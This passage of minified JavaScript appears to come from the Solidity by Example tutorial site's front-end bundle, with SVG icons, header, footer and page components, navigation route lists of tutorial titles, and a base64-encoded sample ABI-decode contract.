4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),dC=({size:s,className:a=""})=>i.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[i.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),i.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),IC=({size:s,className:a="",fill:n})=>i.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[i.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),i.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),i.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),i.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),i.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),i.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function CC(){const{state:s,setTheme:a,toggleSideNav:n}=ct();function l(){a(s.theme=="light"?"dark":"light")}return i.jsxs("div",{className:aa.component,children:[i.jsx(pC,{size:20,className:aa.hamburger,onClick:n}),i.jsxs("div",{className:aa.center,children:[i.jsx("a",{href:"/",className:aa.a,children:i.jsx(IC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),i.jsx("h3",{className:aa.header,children:i.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),i.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?i.jsx(gC,{size:20}):i.jsx(dC,{size:20})})]})}const jC="_component_h47vh_1",uC="_row_h47vh_8",yC="_bar_h47vh_13",mC="_to_h47vh_21",AC="_social_h47vh_24",bC="_sce_h47vh_29",wC="_telegram_h47vh_34",kC="_discord_h47vh_38",ZC="_youTube_h47vh_42",cs={component:jC,row:uC,bar:yC,to:mC,social:AC,sce:bC,telegram:wC,discord:kC,youTube:ZC},WC="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK0AAADACAYAAAB2xePHAAAABHNCSVQICAgIfAhkiAAAABl0RVh0U29mdHdhcmUAZ25vbWUtc2NyZWVuc2hvdO8Dvz4AAAAtdEVYdENyZWF0aW9uIFRpbWUARnJpIDE5IEZlYiAyMDIxIDA2OjI5OjE1IEFNIEpTVJ0PYF0AAA5FSURBVHic7Z3Li2RXHce/5956d1dXV/ekk0AmBCQORLIZRSQm2cSJQUwWMiAJJBo3uhAh/huBBCQLXWhMAgnCrBJQ40SQPHyAzia4mOhCbITY8+iurld3Vd17XHTa6a7p6rqP3z3n9zt1Pqt59ONU1bdunfs7n9856r7PPaDh8QgisD0AjyctPrQecfjQesThQ+sRhw+tRxw+tB5x+NB6xOFD6xGHD61HHD60HnH40HrE4UPrEYcPrUccPrQecfjQesRRsj0A04zvGSO+e2x7GPnZC1D9uGZ7FFZYqNDqksb1F/8DBFr8Z0z4aQntF+9E+d8V20MxjvCXLh27z91AdM8Y0ls11Egh6IQYPLFreyhWWJjQRq0I3W/vHPz5rjEQyY1uuFWCgsLk3jH2HxzaHo5xFia0Oz/cAhoHQVWBghb6qar6AYJ++P+/Dx7vQpfkvgGzsBChHd+3j+GF3rF/izYmwMTSgHJQ2jp+GxK3I+w91Lc0GjssRGi3f7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VWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",BC="/assets/telegram-zGrx4xca.png",GC="/assets/discord-akqDA9xj.png",ge="0x95a647B3d8a3F11176BAdB799b9499C671fa243a";function fC(){return i.jsxs("div",{className:cs.component,children:[i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:WC,alt:"smart contract engineer",className:cs.sce}),i.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),i.jsxs("div",{className:cs.social,children:[i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:GC,alt:"discord",className:cs.discord}),i.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:BC,alt:"telegram",className:cs.telegram}),i.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:dh,alt:"youtube",className:cs.youTube}),i.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),i.jsxs("div",{className:cs.row,children:["Donate",i.jsx("span",{children:"🙂"}),i.jsxs("a",{href:`https://etherscan.io/address/${ge}`,target:"__blank",children:[ge.slice(0,6),"...",ge.slice(-6,-1)]}),i.jsx("span",{className:cs.to,children:"to"}),i.jsx("a",{href:"https://khanacademy.org",target:"__blank",className:cs.khan,children:"Khan Academy"})]}),i.jsx("div",{className:cs.row,children:i.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),i.jsxs("div",{className:cs.row,children:[i.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"source"}),i.jsx("div",{className:cs.bar,children:"|"}),i.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"license"})]})]})}const VC=({children:s})=>{const{state:a}=ct(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return i.jsxs("div",{className:Yl.component,children:[i.jsx("div",{ref:n,className:Yl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?i.jsx(lC,{onClick:l}):null}),i.jsxs("div",{className:Yl.main,children:[i.jsx(CC,{}),i.jsxs("div",{className:Yl.children,children:[s,i.jsx(fC,{})]})]})]})},Ih=({title:s,description:a})=>(W.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),vC=({html:s})=>(W.useEffect(()=>{if(navigator.userAgent==="ReactSnap")return;const a=l=>{const p=document.createElement("textarea");p.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(p),p.value=l.innerText,p.select(),document.execCommand("copy"),document.body.removeChild(p)};document.querySelectorAll("pre").forEach(l=>{const p=document.createElement("div");p.className="buttons";const e=document.createElement("button");e.className="fa fa-copy clip-button",e.title="Copy to clipboard",e.ariaLabel="Copy to clipboard";const c=document.createElement("i");c.className="tooltiptext",e.appendChild(c),p.appendChild(e);const t=l.firstChild;l.insertBefore(p,t),e.addEventListener("click",o=>{o.preventDefault(),a(l.childNodes[1])})})},[]),i.jsx("div",{dangerouslySetInnerHTML:{__html:s}})),YC="_component_ni5i2_1",RC="_content_ni5i2_5",XC="_prevNext_ni5i2_8",de={component:YC,content:RC,prevNext:XC},u=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>i.jsxs("div",{className:de.component,children:[i.jsx(Ih,{title:`${s} | Solidity by Example | ${a}`,description:n}),i.jsxs("div",{className:de.content,children:[i.jsx("h2",{children:s}),i.jsx(vC,{html:l}),i.jsxs("div",{className:de.prevNext,children:[p&&i.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&i.jsxs("a",{href:e.path,children:[e.title," >"]})]}),i.jsx("h3",{children:"Try on Remix"}),i.jsx("ul",{children:c.map(({fileName:t,code:o},r)=>i.jsx("li",{children:i.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},r))})]})]}),HC="0.8.20",FC="ABI Decode",NC="ABI decode bytes",KC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnRbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludCB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG1lbW9yeSBteVN0cnVjdCkKICAgIHsKICAgICAgICAvLyAodWludCB4LCBhZGRyZXNzIGFkZHIsIHVpbnRbXSBtZW1vcnkgYXJyLCBNeVN0cnVjdCBteVN0cnVjdCkgPSAuLi4KICAgICAgICAoeCwgYWRkciwgYXJyLCBteVN0cnVjdCkgPSBhYmkuZGVjb2RlKGRhdGEsICh1aW50LCBhZGRyZXNzLCB1aW50W10sIE15U3RydWN0KSk7CiAgICB9Cn0K"}],SC=`

abi.encode encodes data into bytes.

+ */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function KI(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const SI="startTransition",fo=Fh[SI];function xI(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=_d({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:r}=l||{},d=W.useCallback(I=>{r&&fo?fo(()=>o(I)):o(I)},[o,r]);return W.useLayoutEffect(()=>c.listen(d),[c,d]),W.createElement(FI,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Vo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Vo||(Vo={}));var vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(vo||(vo={}));function MI(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Fp(),p=W.useMemo(()=>KI(l.search,n.current?null:a.current),[l.search]),e=AI(),c=W.useCallback((t,o)=>{const r=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+r,o)},[e,p]);return[p,c]}const JI="_component_nqcni_1",zI="_sideNav_nqcni_6",EI="_main_nqcni_13",LI="_children_nqcni_21",Yl={component:JI,sideNav:zI,main:EI,children:LI},QI="_list_1ltry_1",_I="_title_1ltry_6",UI="_listItem_1ltry_11",TI="_listItemActive_1ltry_18",DI="_link_1ltry_26",Ma={list:QI,title:_I,listItem:UI,listItemActive:TI,link:DI},OI=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://dpanosian.com/fa/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],PI=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],$I=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"}],qI=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:PI.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:$I.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:qI.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:aC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=rt.map(({routes:s})=>s).flat(),nC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function lC(s){const a=nC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const pC=({onClick:s})=>{const a=Fp();function n(l,p){l.preventDefault(),s(p)}return i.jsxs(i.Fragment,{children:[i.jsx("h3",{className:Ma.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>i.jsxs("div",{children:[p&&i.jsx("h3",{className:Ma.title,children:p}),i.jsx("ul",{className:Ma.list,children:l.map(({path:c,title:t})=>{const o=!!ch(c,a.pathname);return i.jsx("li",{className:o?Ma.listItemActive:Ma.listItem,children:i.jsx("a",{className:Ma.link,href:c,onClick:r=>n(r,c),children:t})},c)})})]},e))]})},eC=({size:s,className:a="",onClick:n})=>i.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:i.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),cC="_component_15x91_1",tC="_a_15x91_13",oC="_center_15x91_16",rC="_logo_15x91_21",iC="_header_15x91_24",hC="_mode_15x91_28",gC="_hamburger_15x91_33",aa={component:cC,a:tC,center:oC,logo:rC,header:iC,mode:hC,hamburger:gC},dC=({size:s,className:a=""})=>i.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:i.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),IC=({size:s,className:a=""})=>i.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[i.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),i.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),CC=({size:s,className:a="",fill:n})=>i.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[i.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),i.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),i.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),i.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),i.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),i.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function jC(){const{state:s,setTheme:a,toggleSideNav:n}=ct();function l(){a(s.theme=="light"?"dark":"light")}return i.jsxs("div",{className:aa.component,children:[i.jsx(eC,{size:20,className:aa.hamburger,onClick:n}),i.jsxs("div",{className:aa.center,children:[i.jsx("a",{href:"/",className:aa.a,children:i.jsx(CC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),i.jsx("h3",{className:aa.header,children:i.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),i.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?i.jsx(dC,{size:20}):i.jsx(IC,{size:20})})]})}const uC="_component_h47vh_1",yC="_row_h47vh_8",mC="_bar_h47vh_13",AC="_to_h47vh_21",bC="_social_h47vh_24",wC="_sce_h47vh_29",kC="_telegram_h47vh_34",ZC="_discord_h47vh_38",WC="_youTube_h47vh_42",cs={component:uC,row:yC,bar:mC,to:AC,social:bC,sce:wC,telegram:kC,discord:ZC,youTube:WC},BC="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK0AAADACAYAAAB2xePHAAAABHNCSVQICAgIfAhkiAAAABl0RVh0U29mdHdhcmUAZ25vbWUtc2NyZWVuc2hvdO8Dvz4AAAAtdEVYdENyZWF0aW9uIFRpbWUARnJpIDE5IEZlYiAyMDIxIDA2OjI5OjE1IEFNIEpTVJ0PYF0AAA5FSURBVHic7Z3Li2RXHce/5956d1dXV/ekk0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MCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6ka